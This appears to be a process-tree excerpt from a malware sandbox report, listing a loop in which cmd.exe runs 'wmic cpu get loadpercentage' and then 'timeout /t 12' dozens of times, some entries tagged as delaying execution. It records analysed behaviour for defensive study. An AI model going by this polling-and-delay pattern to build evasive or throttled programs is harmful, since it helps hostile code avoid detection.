C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:768
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1420
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4680
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5796
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3416
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1968
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1300
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4388
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3160
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5076
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2168
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3540
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5180
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2964
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4824
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5420
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3100
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:564
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:556
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5980
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:5976
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:648
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2540
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4868
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4328
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4356
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1452
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2836
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4972
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4488
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2900
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5860
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1788
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4224
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3076
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2032
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2280
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5816
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2568
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4964
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4924
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4968
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5036
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4808
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:5792
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3288
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4664
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2412
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5988
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4628
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1936
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5032
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3516
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4316
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3556
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4112
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:6112
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5552
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3144
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4656
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5444
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2224
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3636
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4200
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4060
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:6104
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3480
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5164
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1600
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:6124
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3884
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1072
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5864
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1108
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1660
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4812
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1136
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:5292
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4916
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5116
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2856
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4776
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1040
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:5236
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2816
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4320
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4840
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4892
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2228
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2208
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1752
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2188
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:5000
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4056
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1540
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1376
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4252
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3732
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1608
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:6076
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5872
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4852
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1128
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4716
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4764
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1420
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2868
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:6108
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4036
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5796
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:5060
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4288
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3920
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:5220
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2204
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5076
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:5268
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2200
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1644
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4076
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:820
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5420
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:5144
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2040
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:556
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3180
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3792
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:648
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:5040
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4912
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3752
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4344
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2296
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2836
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:700
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3236
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2900
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4792
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4600
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4224
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:5428
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4532
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5816
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:6004
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2692
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:6036
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2064
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1584
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5548
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3096
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2312
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1348
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4360
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1868
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5936
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3188
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1404
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5404
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4316
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4196
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3216
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2392
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:876
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3284
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3956
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4656
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:656
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1380
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4684
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5952
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:5812
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4060
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2876
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1408
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1428
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5316
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:5616
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1640
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1032
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3300
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1036
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5156
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1828
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3800
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1132
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:184
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5324
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5200
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1208
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2848
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5916
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3972
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5256
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4012
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:116
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2908
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3900
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2228
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3388
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2208
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:6116
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4768
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5108
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2156
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:760
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2292
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1440
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4452
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5900
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4856
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1516
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4492
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4716
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5532
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2812
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2868
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2472
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:496
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:5796
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3460
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2264
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3920
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4412
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3744
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2204
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5216
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5252
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1644
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1008
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5128
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:5240
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2832
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3728
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:440
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2364
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4868
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:5940
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3596
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4304
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2260
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1152
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4844
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2296
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:700
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5276
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1604
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4528
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2016
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3192
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4460
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1372
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:5816
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4568
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4788
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2092
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3748
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4408
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:5548
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5632
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:6100
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2244
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3544
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:448
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3660
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:924
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5300
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:5896
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1404
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4316
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2456
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4992
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:6112
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:752
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1004
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2608
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:840
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:656
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5516
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1740
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1800
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3468
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4424
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3204
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2872
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4588
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:6096
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3480
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:5616
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4560
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2120
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3300
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2792
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4380
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:5068
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4812
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3876
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:948
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4440
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4660
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4904
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3848
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:5784
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1460
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3964
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1580
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:116
-
-
